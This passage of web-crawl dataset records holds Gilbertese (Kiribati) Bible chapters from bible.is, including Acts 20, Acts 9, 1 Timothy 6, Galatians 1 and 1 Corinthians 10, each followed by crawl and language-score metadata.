aia taeka n eekia nako bwa E aonga n taekini baika a bati. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/53","date":"2013-12-11T06:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032040\/warc\/CC-MAIN-20131204133352-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999936819076538}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e toki te kiriwe arei, ao e weteiia reirei Bwauro ni kauungaia, ao e kaboo ma ngaiia. E kiitaniia ao e waakina kawaina nako Mwaketonia. 2Ngke e tia n ri nuukan aaba akekei, ni kauungaia ake a onimaki n taeka aika a bati, ao e roko i Erene. 3E tiku iai teniua namwakaina; ao ngke e nangi borau nako Turia, ao iai I-Iutaia ake a na kamwarua; ma ngaia are e a reke nanona ngkanne bwa e na oki n ri nuukani Mwaketonia. 4Ao e iria Tobatero are natini Buro, are te I-Beroia; a iri naba Arititareko ma Tekunro ake I-Tetaronike, ma Kaio are te I-Rerebe, ma Timoteo, ao Tukiko ma Terebimo ake I-Atia. 5A ri moara uaakanne n taningaira i Teroa. 6Ao ti borau mai Biribi i mwiini baneni bongin te Berena are e aki Karikaki; nimabong ara bong, ao ti roko irouia uaakekei i Teroa, ao ti tiku iai itibong. 7Ngke ti bootaki n amwarake n i raorao ni bongin te wiiki are te moani bong, ao e anga ana taeka n reirei Bwauro ibukina ngke e nangi nako n te ingabong; ao e waaki n taetae ni karokoa e nuukanibong. 8E bati te taura n te ru are i eta are ti bootaki iai. 9E tekateka n te winto te rorobuaka n ataei temanna ae arana Eutuko. Ngke e kamaanna n reirei Bwauro, ao e roko iroun Eutuko te nimatuutuu ni karokoa e kirokiro ni matuu, ao e bwaka i aontano man te bwia are te kateniua, ao e tabekaki bwa te mate. 10Ma e ruo Bwauro, ao e bwakara aona n rabwatia, ao e kaangai, Tai nanokaawaki, bwa iai te maiu irouna. 11Ao e a manga rierake Bwauro, ao e urua te kariki n amwarake ma ngaiia; e anaanau ana tai ma ngaiia bwa a maroro ni karokoa e a moanna n oota otan taai, ao e a tibwa nako. 12A kaira nako te roronga ngke e maiu, ao a bati ni kabeebeteaki nanoia. 13Ao ngaira ti ri moa nakon te kaibuke, ao ti borau nako Ato, bwa ti na aeka iai Bwauro: bwa anne are e baaireia ngke e kan nako iai n nakonako. 14Ao ngke ti bo ma ngaia i Ato, ao ti aekia, ao ti nako Miturene. 15Ti borau mai Miturene ao ti roko i rarikini Kio ngke e a ingabong; ao n te bong are i mwiina ti roko i Tamo; ao n te bong naba are i mwiina, ti roko i Mireto. 16Bwa e a tia ni moti n ana iango Bwauro bwa e na borau n aki kaeta Ebeto, ma e na kiitanna: bwa e aki kani kabanea ana tai i Atia, bwa e taenoa ni kan roko i Ierutarem n te bong are Bentekota, ngkana e konaa. 17Ao e kanaanako Bwauro mai Mireto nako Ebeto bwa a na weteaki unimwaanen te ekaretia. 18Ngke a roko irouna, ao e takunakoia, Kam ataia bwa ni moa man te bong are I roko i Atia iai, ao i nanon naba boongi ni kabane ake I mena iai iroumi, 19ao I beku ibukin te Uea ma te nanorinano ni kabanea, ma rannimatau, ri buakoni kataaki ake a bwakarai n aia mwakuri ni kamwaamwane I-Iutaia; 20ao bon akea te bwai teuana ae e manena ae I taua n aki kaotianakoimi, ma n aki reireingkami iai i mataia aomata, ao n auti nako; 21ao I kamatoaa au taeka nakoia I-Iutaia ma I-Erene n tuangiia bwa a na rairi nanoia nakon te Atua, ao a na onimakina ara Uea are Iesu. 22Ao nooria, N nangi nako Ierutarem bwa E kairoroai te Taamnei, ao I aki atai baike a nangi rikinakoiu; 23ma I ti ataa ana taeka te Taamnei are e Raoiroinakoiu ni kaawa nako, bwa E taku bwa N na kaaitara ma bwaai ni kabaebae ao te karawaawataaki. 24Ma I kaakeaa kakaawaki ni maiunakoiu, bwa I aonga ni katiaa te baere I waaki iai, ma nakoau are E anganai te Uea are Iesu, are te tataekina te euangkerio are taekan ana aakoi te Atua. 25Ao nooria, I ataia bwa kam nang aki manga noori matau, ngkami ni kabaneingkami aika I nakonako i buakomi n tataekina uean te Atua. 26Ma ngaia ae I tuangkami n te bong aei, bwa akea tabeu irouia aomata nako ake a kabuai maiuia. 27Bwa akea te bwai teuana n ana kaantaninga te Atua ae I taua n aki taekinnanakoimi. 28Kam na tarataraingkami ao tararuaia aomata ni kabaneia ake kam kateaki i buakoia iroun te Taamnei are e Raoiroi bwa taan tararuaiia: kam na tararuaa ana ekaretia te Atua, are E reke irouna bwa ana bwai n raraan Natina. 29I ataia bwa i mwiin nakou ao ane a na roko i buakomi aomata aika ai aroia kameaanti aika a tiritiri, n aki karaua te ekaretia; 30ao ane a na kaoti aomata temwaangina mai buakomi ao a na atongi baika a bwaoua, bwa a aonga ni katikiia ake a onimaki bwa raoia. 31Ma ngaia ae tai ni matutu, ao ururingai bwa I aki toki n reireingkami ni kabaneingkami ni bong ao ni ngaina ma rannimatau i nanon teniua te ririki. 32Ao I anga ngkami ngkai nakon te Atua, ao nakon naba ana taeka n akoi, are e konaa ni kateimatoaingkami ma n anganingkami te kabwaia are E kaawakinna i bukiia ake a kaitiakaki ni kabaneia. 33I aki mataaiakina ana tirewa te aomata, ma ana koora, ma ana kunnikai. 34Kam bon ataia bwa baiu aikai, ngaiia aika a mwamwakuri ni kareke baika I kainnanoi, ao ni kareke naba baika a kainnanoi aomata ake a mena irou. 35I a tia ni kaotianakoimi n aaro nako bwa ti riai ni buokiia aika a mamaara n te aro aei, ae te bekutata, n aki mwaninga ana taeka te Uea are Iesu, are e kaangai, E kakabwaiaaki riki te anga nakon te anganaki. 36Ngke e a tia n atongi baikai, ao e katorobubua ma aia koraki ni kabaneia, ao e tataro. 37Ao a bane ni katuu rannimataia n tang, ao a bwakara aon roroani Bwauro ni kabooria ma ngaia: 38a nanokaawaki riki n ana taeka are e taku bwa a na aki manga noora matana. Ao a bakaborauiia nakon te kaibuke.\nMWAKURI 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/20","date":"2013-12-05T12:37:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045140\/warc\/CC-MAIN-20131204131725-00077-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1024,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aomata aika tooro aika a mena i aan te amo n toronaki a riai n iangoiia oin aia toka bwa a riai ni kabatiaaki karineaia, bwa e aonga n taekinaki ni kamoamoaaki te Atua ma ara reirei. 2Ao tooro aika Kristian aia toka, a na tai kaakeai boonganaia ibukina ngkai raoia ni Kristian; ma a na kabatiaa riki te kan toro irouia, bwa kioina ngkai te koraki akanne akana a kabwaia n aia mwakuri n toro bon taan onimaki aika a tangiraki. 3Ngkana iai temanna ae e reireiia aomata te koaua ae e kaokoro, ao e aki booraoi nanona ma taeka ni koaua aika ana taeka ara Uea are Iesu Kristo, ao e aki booraoi naba ma koauan te Aro ni Kristian, 4ao bon te aomata ngaia ae e kainikatonga ao e nano roo. E babaaeakina te kan tititiraki ma te kauntaeka, aika e riki maiai te bakantang, ma te unra, ma taetaebuaka, ma iango ni katautau aika a aki raraoi, 5ma aia meremere n tai nako aomata aika a babanga n iango, aika akea irouia te koaua. A taku n aia iango bwa tauan te Aro boni ngaia ae e reke maiai te kaubwai. 6Ma bon iai te kaubwai ae e bati n tauan te Aro iroun te aomata, ngkana e rauaki nanona n are e reke irouna. 7Bwa bon akea te bae ti uotia nako aon te aba, ao bon akea te bae ti na uotia nako mai aon te aba; 8ma ngkana iai karara ma kunnikaira, ao a na rau nanora iai. 9Ma akana a kan riki ni kaubwai a bwaka nako nanon te kariiriiaki, a mwane n te bwai ni kamwaamwane, ao a reke n naano aika a baba ma ni kammaraki aika a taonaki ni kabwabwaaki iai n tiringaki ma ni kamateaki. 10Bwa te baki-tianti boni ngaia ae a nako maiai aaro nako aika a buaakaka. Iai tabemwaang aika a rangi ni baki-tianti n te aro are a kiitana iai te onimaki, ao a uruaki nanoia n te aro ae a rawaawata iai. 11Ao ngkoe, ae ana aomata te Atua, ko na kararoako mani baikai, ao ko na kataa ae ko kona, ni karaoa nanon te Atua, ni maiu n reitaki ma Ngaia, ni bwaina te kakaonimaki ma te maiu n tangira, ma te taotaonaki n nano, ma te nimamannei. 12Ko na kekeiaki mwaaka n te kaboo biri mwaaka ae bwain te onimaki, ao karekea te maiu are e aki toki bwa kaniwangam; bwa ngaia aei te maiu are E weteiko nako iai te Atua ngke ko moani kaota iai am onimaki i mataia taani kakoaua aika a bati. 13I tuangko i matan te Atua, ae e anga te maiu nakoni bwaai ni kabane, ao i matani Kristo Iesu, are e kaota tauanibukin te koaua are e raoiroi i matani Bontio Birato, 14bwa ko na rangi n ongotaeka nakoni baike ko a tia n tuangaki, ma ni kakaonimaki nako iai ni karokoa rokon ara Uea are Iesu Kristo; 15are e na kaotaki rokona n te tai ae e riai iroun te Tia Tautaeka ae e karaoiroaki ae ti temanna, ae aia Kiing kiing, ao aia Uea ueea; 16ae ti Ngaia ae e aki maamate, ae e maeka n te oota are e aki konaaki ni kawaraki; akea te aomata ae a tia n nooria, ao akea ae e konaa n nooria. Ana bwai te karineaki ma te mwaaka ae e aki tootoki. Amene. 17Ko na tuangiia akana a kaubwai ni bwain te maiu aei, bwa a na tai kainikatonga ao a na tai onimakina te kaubwai ae e aki teimatoa; ma a na onimakina te Atua, ae e kabane bwaai ni kabatiai n anganiira bwa ti na kukurei iai. 18A na kaakaraoa ae e raoiroi, a na kabatii mwakuri aika a riai, a na maiu n tituaraoi, ao a na tauraoi ni buokanibwai n aia bwai; 19ao n te aro aei a kaiko iai kaubwaia ae e na riki bwa aaia ae e raoiroi ibukini boong aika a na roko, bwa e aonga n reke irouia te maiu ni koaua. 20Timoteo, ko na kaawakina te baere ko mwiokoaki iai. Ko na tannako mani bwarantiko aika akea nanoia aika a aki itiaki, ao man iango ni kauntaba aika kanoan te baere e aki tau n aranaki bwa te Rabakau; 21are a kaotatauanibukina tabemwaang, ao a riki ni bua iai aia onimaki. E na mena iroumi te aakoaki.\n1 TIMOTEO 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/6","date":"2013-12-08T10:09:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163064915\/warc\/CC-MAIN-20131204131744-00081-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":732,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae Bwauro, ae te tia tuatua—tiaki mai irouia aomata, ao tiaki naba iroun te aomata, ma bon te tia tuatua iroun Iesu Kristo ma te Atua ae te Tama, are E a manga maiu Iesu irouna mai buakoia maate- 2ao taari ni kabaneia aika irou, nakoia ekaretia ake i Karatia: 3Ami bwai te aakoaki ma te raoi mai iroun te Atua ae Tamara ao te Uea are Iesu Kristo, 4are e anga Ngaia ibukin ara bure, bwa E aonga ni kamaiuira mai aon te aba ae e buaakaka aei, n ai aron nanon Atuara ae Tamara, 5are ana bwai te neboaki n aki tootoki; Amene. 6I miimii ngkai kam kai rairaki mai iroun Teuare e weteingkami n ana aakoi Kristo, nakon te euangkerio teuana; 7bwa bon akea riki te euangkerio teuana, ma ti iai tabemwaang aika a aki karaungkami, aika a kani kabwaouaa euangkerioni Kristo. 8Ma ngkana tao ngaira ke te anera mai karawa, ae e na taekina te euangkerio riki teuana i rarikin are ti taekinna nakoimi, ao ke e reke kaina. 9N aron are ti a tia n atongnga ngkoa, ao I a manga atongnga naba ngkai, Ngkana tao e taekinaki iroun te aomata temanna te euangkerio riki teuana i rarikin are kam anganaki, ao ke e reke kaina. 10Bwa I anai nanoia aomata ngkai, ke I anaa nanon te Atua? Ke I ukoukori kakukureiaia aomata? Ngkana I tabe ma kakukukureiaia aomata, ao bon tiaki ana toro Kristo ngai. 11Bwa I kaotia nakoimi, taari, bwa te euangkerio ae I tataekinna bon tiaki ana bwai te aomata. 12Bwa I aki anganaki iroun te aomata, ao I aki reireiaki naba taekana iroun te aomata, ma E kaotia Iesu Kristo. 13Bwa kam ongo arou ngkekei, i nanon te Aro n Iutaia, bwa e rangi ni korakora bwainikiriinan ana ekaretia te Atua irou, ao I kaakaraoa are I konaa n urua iai. 14E nako raoi riki arou n te Aro n Iutaia nakoia au roro aika a bati aika kaain au bootanaomata, bwa I bati n tangiri aia taeka n reirei au bakatibu. 15Ma ngke E kukurei nanon Teuare e a tia n rineai mai nanoni biroton tinau, ma ni weteai n ana akoi, 16bwa E na kaota Natina irou, bwa I aonga n tataekinna i buakoia aomata aika tiiaki I-Iutaia, ao I aki iangoma temanna ngkekei naba; 17ao I aki nako Ierutarem nakoia uaake a kaman riki bwa taan tuatua i mwaaiu; ma I nako Arabia, ao I a manga okira Taamateko. 18Ao rimwi, i mwiin ten ririki, ao I nako Ierutarem ni kawara Keebwa, ao I mena irouna tengauni ma nima bong; 19ma I aki noora te tia tuatua riki temanna, bwa ti Iakobo are tarin te Uea. 20Ao nooria, I bon aki kewe i matan te Atua ni baika I koroi. 21Ao rimwi I nako n aaba ake Turia ma Kirikia. 22E aki kinaaki matau irouia taian ekaretia ni Kristian i Iutaia. 23Ma a ti ongo taekau ae e kaangai, Teuare e bwainikirinira ngkoa, e a tataekina ngkai te onimaki are e kataia ngkoa n urua. 24Ao a neboa te Atua ibukin te baere E a tia ni karaoia irou.\nKARATIA Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/","date":"2013-12-12T06:49:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164566315\/warc\/CC-MAIN-20131204134246-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":524,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I nanon taai naba akekei, ao e nanakonako Tauro n tataekina kani kamateaia ana reirei te Uea. E nako ni kawara aia mataniwi ibonga, 2ao e butiia reeta ibukina bwa e na uoti nako Taamateko, nakoni mwaneabaia nako I-Iutaia, bwa ngkana tao e kuneia tabemwaang aika a taua te Aro, aika mwaane ma aine, ao e na tauuia ni kabaeiia, ao e na kairiia nako Ierutarem. 3E a waaki ngkanne Tauro i aoni kawaina nako Taamateko; ma ngke e a kaan ma te kaawa, ao e rina n oota rarikina nako n te oota mai karawa. 4E bwaka Tauro i aontano, ao e ongo te bwanaa ae e kaangainakoina, Tauro, Tauro, ko aera ngkai ko bwainikiriinai? 5E kaeka Tauro ao e taku, Te Uea, antai Ngkoe? Ao E taku te Uea, Bon Iesu Ngai ae ko bwainikiriinai; 6ma ko na tei rake, ao naako rin n te kaawa, ao ane ko na tuangaki iai te baere e riai bwa ko na karaoia. 7Ao a tei n aki karongoaa uaake raon Tauro ni mwananga; a ongo te bwanaa, ma akea te aomata ae a nooria; 8Ao e tei rake Tauro mai aontano; ma ngke e kaure matana, ao akea te bwai teuana ae e nooria; ao a tautaua baina ni kairia nako Taamateko. 9Tenibong ana bong Tauro n aki nooraaba, ma n aki amwarake, ao n aki mooi naba. 10E mena i Taamateko te reirei temanna ae arana Anania; ao E taku te Ueanakoina n te baere e nooria kaanga n te mii, Anania! Ao ngaia e kaangai, Te Uea, nooria, aio ngai. 11Ao E taku te Ueanakoina, Tei rake, ao naako n te kawai are e aranaki bwa Eti, ao ukoukora iai te aomata ae arana Tauro ae te I-Tareto, n ana auti Iuta: bwa nooria, e tataro, 12ao e noora te aomata, i nanoni kaanga te mii, ae arana Anania bwa e roko ni kawaria, ao e katokaa baina i aona, bwa e aonga n nooraaba. 13Ao e kaeka Anania ni kaangai, Te Uea, I ongo taekan teuaei irouia aomata aika a bati, bwa e karaoi mwakuri aika a bubuaka aika a bati nakoia am aomata ake a itiaki ake i Ierutarem; 14ao e a tia n anganaki te mwaaka mai irouia ibonga ake mataniwi, bwa e na kabaeia aomata ni kabaneia akana a taromauriia aram. 15Ma E taku te Ueanakoina, Ko na nako, bwa I a tia n rinea teuarei bwa e na mwakuri i bukiu: bwa e na tataekina arau ni kaotiotai nakoia aomata aika a tuai n onimakina te Atua, ao nakoia ueea ma te bootanaomata ae Iteraera; 16bwa N na kaotinakoina baika a bati aika e riai ni karawaawataaki iai ibukin arau. 17Ao e nako Anania n rin n te auti arei, ao e katokaa baina i aon teuarei, ao e kaangai, Tauro ae tariu, E kanakomaiai te Uea are Iesu, are e kaotinakoim i nanon te kawai, ngke ko nako mai, bwa ko aonga ni manga nooraaba, ao ni kaonaki n te Taamnei are e Raoiroi. 18Ao n te tai naba arei ao a bwaka mai matan Tauro baika kaanga ai aron inan te ika, ao e a manga nooraaba; ao e tei rake, ao e bwaabetitooaki; 19ao e marurung ngke e a tia n amwarake. E tiku Tauro irouia reirei ake i Taamateko i nanon tabeua te bong. 20E aki tiku n aoria, ma e nako ni mwaneaba nako, ao e tataekina Iesu bwa Natin te Atua Ngaia. 21A bane ni miimii ake a ongoraa irouna, ao a taku, Tiaki teuare e tiringia aomata teuaei ake a taromauriia te ara aei i Ierutarem? Ao tiaki naba e roko ikai bwa e na kabaeia aomata ake ai aroia naba aomata akekei, ni kairiia nakoia aia mataniwi ibonga? 22Ao e riki ni korakora riki aron Tauro ni kabwarabwara; ao e kaminoi aia iango I-Iutaia ake a maeka i Taamateko n ana koaua ake e taekin ibukin Iesu bwa bon te Kristo Ngaia. 23Ao i mwiini boong aika a bati, ao a kaboowiia taekani kamatean Tauro I-Iutaia; 24ma e kuneaki aia iango ni kan tiritiri iroun Tauro. A taratarai mataroa nako ake mataroa n rin n te nono, n te ngaina ao n te bong, bwa a na kamatea. 25Ma n te tairiki teuana, ao e anaaki Tauro irouia ana reirei ao a nnaia rikaaki n te bwaene man te tabo are a mena iai ri nanon te bwangabwanga n te nono. 26Ngke e roko Tauro i Ierutarem, ao e kan riki bwa raoia reirei ikekei; ma a bane ni maakua, bwa a aki kakoauaa ae e a tia n riki bwa te reirei temanna. 27Ma enakoina Bwarenaba, ao e kairia nakoia taan tuatua, ao Tauro e tuangiia arona ngke e noora te Uea are e taetaenakoina i nanon te kawai, ao ngke e reirei n aki mamaaku n aran Iesu i Taamateko. 28Ao e meemena irouia uaakekei n akea tukana ngkana e kan nako n te tabo teuana are e tangiria i aon Ierutarem. 29E aki toki n taetae ma ni kauntaeka ma I-Iutaia ake a bwaina te taetae n Erene; ao a kataia ni kani kamatea. 30Ngke e a ataaki aroia I-Iutaia akekei irouia taari i Ierutarem, ao a kaira rio Tauro nako Kaitareia, ao a kanakoa nako Tareto. 31E wene n rau ngkanne te ekaretia i aon Iutaia ni kabutaa, ma Kariraia, ma Tamaria, ao e kateimatoaaki; a kaotia ni maiuia kaaina bwa iai karinean te Atua irouia, ao e rikirake mwaitini kaaina n ana buobuoki te Taamnei are e Raoiroi. 32I nanon ana tai ni mwamwananga Betero ni kawari taabo nako, ao e reke naba ana tai ni wairio nakoia ake a itiaki ake a maeka i Rura. 33E kaaitibo iai ma te aomata ae arana Ainea, ae e weewene i aoni nnena ni wene i nanoni wanua te ririki, bwa a mate bwain rabwatana. 34E taku Beteronakoina, Ainea, E kamaiuko Iesu Kristo; tei rake, ao baairea nnem ni wene. Ao e a tei rake naba ngkekei Ainea. 35A bane n noora teuare e kamaiuaki aomata ake a maeka i Rura ao i Tiaron, ao a riki bwa taan onimakina te Uea. 36E mena i Iobe te aomata temanna ae te tia onimaki, ae arana Nei Tabita. (ke Nei Toreka n te Taetae n Erene). E aki toki neiei ni kaakaraoi mwakuri aika a raraoi, ao n ibuobuokiia aika a kananoanga. 37N taai akanne ao e aoraki Nei Tabita, ao e mate; ao ngke a a tia ana koraki n tebokia, ao a kawenea n te ru i eta. 38E aki rangi n raroa Iobe ma Rura; ma ngaia are ngke a ongo reirei ake i Iobe bwa e mena Betero i Rura, ao a kanakoia ngkanne uomani mwaane bwa a na kabanea aia buubutinakoina, bwa e na kawaekoaa nnakoia. 39Ao e tei rake Betero, ao e airi ma ngaiia. Ngke e roko, ao a kairia nakon te ru are i eta; a tei n tang aine ake a mate buia i rarikini Betero, ao a kaoti kabaraaki ma kooti ake e karaoi Nei Toreka i nanon ana tai ni maiu. 40E kabaneia ni kaotinakoia Betero, ao e katorobubua n tataro; e rairaki ngkanne ni kaaitaraa rabwatan Nei Toreka, ao e kaangai, Nei Tabita, tei rake! E kaure matana Nei Toreka; ao ngke e noora Betero, ao e tekateka. 41E anga baina Beteronakoina, ao e kateirakea; e weteiia ngkanne ake a itiaki ma aine ake a mate buia, ao e anganiia neierei bwa e a maiu. 42E buta nako taekan te baei i aon Iobe, ao a onimakina te Uea aomata aika a bati. 43E tiku Betero i Iobe i nanoni boong aika a bati, iroun Timon temanna, ae te tia karaoi bwaai mani kunin te man.\nMWAKURI 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/9","date":"2013-12-11T19:25:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164044626\/warc\/CC-MAIN-20131204133404-00082-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1286,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I tangiringkami, taari, bwa kam na aki mwaninga bwa a bane ara bakatibu ni mena i aan te nang, ao a bane n ri nuukan tari; 2ao kangaa a bane ni bwaabetitooaki nako nanoni Mote n te nang ao n tari, n aroia ni kairaki irouna. 3A bane ni kana te amwarake ae ti te arona, are E anganiia te Atua ni mwaakana, 4ao a bane naba n nima te mooi ae ti te arona, are E anganiia te Atua ni mwaakana. Bwa a mooi man te bwa are e iririia, are te bwa are mai iroun te Atua; ao te bwa arei boni Kristo. 5Ma a mwaiti i buakoia ake E aki kukurei te Atua irouia—ma ngaia are a mate ni bakarae i nanon te rereua. 6Ao baikai a riki bwa bwaai n reirei nako ira, bwa ti na aki rii iai, n ai aroia. 7Kam na tai riki bwa taan taromauri bouananti n ai aroia temwaangina i buakoia; n ai aon are e koreaki ni kaangai: A tekateka aomata bwa a na amwarake ma ni mooi, ao a tei rake bwa a na bwaatere. 8Ao ti na tai wene ni bure, n ai aroia temwaangina i buakoia ngke a wene ni bure, ao a mate uarebu ma teningaa 9Ao ti na tai kataa te Uea, n ai aroia temwaangina i buakoia ngke a kataia, ao a tiringaki irouia naeta. 10Ao kam na tai ngurengure, n ai aroia temwaangina i buakoia ngke a ngurengure, ao a tiringaki iroun te tia tiritiri . 11A bane n roko baikekei irouia bwa bwaai n reirei i bukira, ao a riki ibukin reireiara, ngaira aika ti maiu n te tai ae a kaan ma te toki. 12Ma ngaia aei, bwa ane e taku n ana iango bwa e tei matoa, ao e na tarataraia bwa e kaawa ni bwaka. 13Te kataaki ae e a tia n roko iroumi boni ngaia naba are e roko irouia aomata nako. Ma E kakaonimaki te Atua, ao E na bon aki kariaingkami bwa kam na kataaki i aon ami kona; ma n te tai are kam kataaki iai, ao E na karekea naba te anga are kam na buutaki nako maiai, bwa kam aonga ni konaa n taon nanomi. 14Ma ngaia aei, ngkami aika kam tangiraki irou, kam na bon aki taromauriia te bouananti. 15I taetae nakoimi ngkai kaanga ai aroia aomata aika a wanawana ngkami; kam na kareke ami baaire n au taeka. 16Ngke ti mooi man te mwangko are ti tataro ibukina bwa e na kakabwaia te Atua, tiaki anne te buokanibwai n raraani Kristo? Ao ngke ti kana te berena are ti urua, tiaki anne te buokanibwai n rabwatani Kristo? 17Ngkai ti teuana te berena, ao ngaira aika ti bati, bon te rabwata ae ti teuana: bwa ti bane ni buokanibwai n te berena ae ti teuana. 18Kam na tarai aroia te bootanaomata ae Iteraera: tiaki bwa a buokanibwai n te taromauri n anga-karea aia koraki ake a kang amwarake ake karea? 19Tera ae I nanonna ngkanne n au taeka? I nanona iai kakaawaki ni karean te bouananti, ke kakaawaki n te bouananti? 20I aki, ma ae I nanonna: bwa baike a anga beekan bwa aia karea a anga nakoia taimonio, ma tiaki nakon te Atua; ao I aki tangiringkami bwa kam na buokanibwai ma taimonio. 21Kam aki konaa ni mooi man ana mwangko te Uea ao man aia mwangko taimonio. Kam aki konaa n uaia n amwarake n ana taibora te Uea ma aia taibora naba taimonio. 22Ke ti tangira ae E na un te Uea? Ti korakora riki nako Ina? 23A atoatonga ae e kaangai temwaangina i buakomi: Ti uki ni karaoi bwaai nako. Tao e koaua, ma a aki bane bwaai ni manena ao a aki bane naba ni kateimatoaa te aba. 24Ke e na aki iangoia te aomata i bon irouna n te baere e na karaoia, ma e na iangoia temwaangina. 25Kam na kang amwarake nako akana kabooaki man te tabo ni kaboo iriko-maiu n aki neneri taekaia ibukini mataniwiin nanomi. 26Bwa e kaangai te Baibara: Bon ana bwai te Uea aaba nako ma kanoaia. 27Ngkana e kaoingkami temanna i buakoia ake a aki onimaki nakon ana amwarake, ao ngkana kam kan nako, ao kam na kang amwarake nako ake a kaaki i matami, n aki neneri taekaia, ibukini mataniwiin nanomi. 28Ma ngkana e kaangai temanna nakoimi, Aio are e tiringaki bwa te karea; ao kam na tai kanna ibukin teuare e kaotia, ao ibukin naba mataniwiin te nano. 29Ae I taekinna, tiaki mataniwiin nanom, ma mataniwiin nanon teuarei. Bwa bukin tera ngkae e na baaireaki aron inaomatau ni mataniwiin nanon temanna? 30Ngkana I katituaraoa te Atua ibukini kanau are I kanna, ao bukin tera bwa N na taeka buaka n te amwarake are I katituaraoi iai ibukina? 31Ma ngaia aei, bwa ngkana kam amwarake ke kam mooi, ke kam karaoa riki te bwai teuana, ao kam na karaoi ni kabane ibukin neboakin te Atua. 32Tai karaoa te bae e na riki bwa te kaangaanga nakoia I-Iutaia, ke I-Erene, ke ana ekaretia te Atua; 33n ai arou naba ngkai I kakukureiia aomata ni kabaneia ni bwaai ni kabane aika I karaoi, n aki ukoukora ae iai manenana nakoiu; ma I ukoukora ae iai manenana nakoia aomata aika a bati, bwa a aonga ni kamaiuaki.\n1 KORINTO 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/10","date":"2013-12-09T22:13:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164000828\/warc\/CC-MAIN-20131204133320-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":885,"character_repetition_ratio":0.061,"word_repetition_ratio":0.005,"special_characters_ratio":0.234,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I anganaki te kai ae kaanga ai aron te kai ni baire; ao I tuangaki ae e kaangai, Tei rake ao baairea ana umwantabu te Atua, ma te baonikarea, ao warekiia akana a taromauri i nanona. 2Ao ko na katuka te ru are i tinanikun te tabo are e tabu n te umwantabu n aki baaireia, ibukina bwa e katukaki i bukiia bootanaomata ake a na toutoubeka aon te kaawa are e tabu abwi ma uoua te namwakaina. 3Ao N na karekea aia tai au tia kakoaua ake uoman bwa a na taetae ni buraabeti, ao a na taetae ni buraabeti i nanontengaaao uabubua ma onongaun te bong, ao a na kunnikaiia n te kunnikai ae e mangaingai. 4Taani kakoaua akekei bon oriwa ake uakai, ao kain-tei n taura ake uaai ake a tei i matan Uean aonnaba. 5Ao ngkana iai te kairiribai ae e kataia ni kani kaikoakiia, ao e na kamateaki n te ai are e oti nako mai wiia. 6A konaa taani kakoaua akekei ni bonota karawa, bwa e na aki bwaka te karau ni karokoa koron aia bong n taetae ni buraabeti; ao iai mwaakaia i aon raan, ni konaa n oniki bwa raraa; ao iai naba mwaakaia ni karokoi bwaai ni kamaamate ni kaokioki n ai aron takun nanoia. 7Ao ngkana a a tia n taekina aia rongorongo, ao te man are e tiritiri are e tabe n rierake mai Abuto e na buakaniia ao e na tokanikai i aoia, ao e na kamateia. 8Ao a na wene rabwataia ni kawain te kaawa are e abwaabwaki ike E kamateaki iai aia Uea; ao aran te kaawa 